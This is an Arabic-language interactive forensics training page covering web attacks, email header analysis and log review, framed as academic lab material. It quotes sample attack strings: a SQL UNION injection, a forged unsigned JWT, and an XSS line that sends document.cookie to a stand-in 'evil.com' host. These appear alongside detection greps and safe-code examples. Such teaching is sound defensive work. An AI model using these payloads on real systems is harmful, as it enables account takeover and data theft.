🔒 بيئة تدريبية — للاستخدام الأكاديمي فقط  |  CHFI Interactive Lab م. عبدالله الأسمري  ·  Eng. Abdullah Alasmari
🔬

مختبرات التحليل الجنائي الرقمي

CHFI · Digital Forensics Interactive Labs
م. عبدالله الأسمري
استناداً إلى كتاب: التحليل الجنائي الرقمي — د. جميل حسين تويلح
🌐

مختبر جنائيات الويب والبريد الإلكتروني

Web & Email Forensics — الفصل الخامس
🏆 0/75 نقطة ← الرئيسية
💉 SQL Injection
📜 XSS Attack
🍪 Session Hijacking
📧 Email Forensics
📋 Web Server Logs

💉 SQL Injection — حقن قواعد البيانات

المهاجم يُدخل كود SQL في حقول الإدخال لتجاوز المصادقة أو سرقة البيانات. من أخطر هجمات الويب وأكثرها شيوعاً.

🗄️ قاعدة البيانات المستهدفة (محاكاة)

IDاسم المستخدمكلمة المرورالصلاحية
1adminAdmin@2024!🔴 مدير
2khalidkh@lid123🟡 موظف
3sarasara_pass🟡 موظفة
4forensicsf0r3ns1cs!🟢 محقق

🔓 السيناريو الأول — تجاوز تسجيل الدخول

الكود الأصلي في الخادم:

SELECT * FROM users WHERE username = '[USERNAME]' AND password = '[PASSWORD]'
اسم المستخدم
كلمة المرور
الاستعلام يظهر هنا...

🔍 السيناريو الثاني — UNION Attack لسرقة البيانات

⚠️ المهاجم يضيف UNION SELECT لاستخراج بيانات من جداول أخرى
-- طلب بحث عادي: SELECT name, price FROM products WHERE id = 1 -- بعد الحقن (المهاجم يضيف): SELECT name, price FROM products WHERE id = 1 UNION SELECT username, password FROM users--

🛡️ كيف يكتشف المحقق هجوم SQL Injection؟

analyst@forensics:~$ grep -i "union\|select\|'\s*or\s*'\|--" /var/log/apache2/access.log
192.168.1.105 - - [20/Mar/2024:14:22:31] "GET /login.php?id=1' HTTP/1.1" 500 192.168.1.105 - - [20/Mar/2024:14:22:45] "GET /login.php?id=1+UNION+SELECT+null,username,password+FROM+users--" HTTP/1.1" 200 192.168.1.105 - - [20/Mar/2024:14:23:01] "POST /login.php" 200 ← تسجيل دخول ناجح بعد 47 محاولة!

❓ ما الوسيلة الأساسية للحماية من SQL Injection؟

📜 Cross-Site Scripting (XSS)

المهاجم يحقن كود JavaScript خبيث في صفحة الويب يُنفَّذ في متصفح الضحية. يُستخدم لسرقة Cookies أو إعادة التوجيه أو تشويه المواقع.

🧪 Reflected XSS — محاكاة حية

موقع البحث يعرض ما كتبه المستخدم مباشرة دون تنظيف:

نتائج البحث عن:
أدخل نصاً في الحقل أدناه...

📋 أنواع XSS

1. Reflected XSS — الكود في الرابط URL، يُنفَّذ فوراً على الضحية التي تنقر الرابط. يُرسَل الرابط عبر البريد أو الواتساب.
2. Stored XSS (الأخطر) — الكود يُخزَّن في قاعدة البيانات (تعليق، اسم مستخدم) ويُنفَّذ على كل من يفتح الصفحة.
3. DOM-Based XSS — يعمل بالكامل في المتصفح دون إرسال طلب للخادم، الأصعب كشفاً من السجلات.

🛡️ الحماية والكشف الجنائي

❌ كود خطير:
// PHP — ضعيف echo $_GET['q']; // JavaScript — ضعيف div.innerHTML = userInput;
✅ كود آمن:
// PHP — آمن echo htmlspecialchars($_GET['q']); // JavaScript — آمن div.textContent = userInput;

❓ المحقق يرى في السجل: GET /search?q=<script>fetch('evil.com?c='+document.cookie)</script> — ماذا حدث؟

🍪 Session Hijacking — اختطاف الجلسة

الخادم يُعطي المستخدم بعد تسجيل الدخول "رمز جلسة" (Session Token / Cookie). إذا سرقه المهاجم، يستطيع انتحال هوية الضحية دون معرفة كلمة المرور.

🔄 كيف تعمل جلسة الويب (Session)

👤
المستخدم يسجّل دخول
🖥️
الخادم يُنشئ Session ID
🍪
يُرسَل كـ Cookie
⚠️
إذا سُرق → اختطاف الحساب!

🕵️ تحليل الـ Cookies المشبوهة

اسم الـ CookieالقيمةالخادمSecureHttpOnlyالحكم
PHPSESSIDa1b2c3d4e5f6789abcbank.sa آمن
user_sessioneyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.target-app.com ⚠️ خطر
remember_me3f8a...hash...forum.net تحقق
🔍 الـ Cookie المشبوه يستخدم JWT بدون توقيع (alg: none) — أي شخص يستطيع تعديله لادعاء أنه admin!

🔍 كيف يسرق المهاجم الـ Session؟

🌐 Network Sniffing: اعتراض الحزم على شبكة WiFi مفتوحة — الـ Cookie يُرسَل بنص صريح إذا لم يكن HTTPS
📜 XSS + Cookie Theft: document.cookie يُرسَل لخادم المهاجم عبر كود XSS (كما رأينا في التبويب السابق)
🖥️ Cross-Site Request Forgery (CSRF): إجبار المستخدم على إرسال طلبات باسمه دون علمه

❓ المحقق يجد في سجل الخادم عنوانَي IP مختلفَين يستخدمان نفس Session ID خلال دقيقتين. ماذا يعني هذا؟

📧 تحليل رأس البريد الإلكتروني (Email Header Analysis)

رأس الإيميل يحتوي على مسار الرسالة الكامل من المرسل إلى المستقبل. المحقق يحلله لتتبع IP الحقيقي للمرسل حتى لو استخدم بريداً مجهولاً.

📨 رأس إيميل تهديدي — هل هو حقيقي؟

🗺️ تتبع مسار الرسالة Hop by Hop

الرسالة تمر بعدة خوادم — كل خطوة تُسجَّل في الـ Received headers (تُقرأ من الأسفل للأعلى)

1
192.168.1.1
🏠 الشبكة المحلية للمرسل
09:15:30
2
185.220.101.77
🧅 Tor Exit Node — روسيا
09:15:31
3
209.85.220.41
📧 Gmail SMTP Server — الولايات المتحدة
09:15:33
4
212.77.1.10
📬 خادم بريد الشركة — السعودية
09:15:35
🚨 المرسل استخدم Tor لإخفاء هويته — لكن نقطة الخروج (Exit Node) مسجّلة في قوائم Tor المعروفة. IP الحقيقي لا يزال مجهولاً لكن يمكن التنسيق مع الجهات الأمنية.

🔐 SPF, DKIM, DMARC — حماية البريد من الانتحال

SPF (Sender Policy Framework): يحدد من الخوادم المصرَّح لها بإرسال بريد من نطاق معين. FAIL = الخادم المرسِل غير مصرَّح → احتمال انتحال.
DKIM (DomainKeys Identified Mail): توقيع رقمي على كل رسالة. FAIL = الرسالة عُدِّلت أثناء النقل أو تزويرها.
DMARC: يجمع SPF و DKIM ويحدد ماذا يفعل الخادم عند الفشل (رفض / إرسال للـ Spam / تجاهل).

❓ إيميل DKIM = FAIL يعني؟

📋 تحليل سجلات خادم الويب

كل طلب HTTP يُسجَّل في ملف log. المحقق يحلل هذه السجلات لإعادة بناء ما حدث: من هاجم؟ متى؟ ماذا فعل؟

📄 سجل Apache — Common Log Format

📊 إحصاء الطلبات من الـ IP المشبوه

❓ محقق يرى 450 طلب 404 من نفس الـ IP خلال دقيقتين. ما هذا؟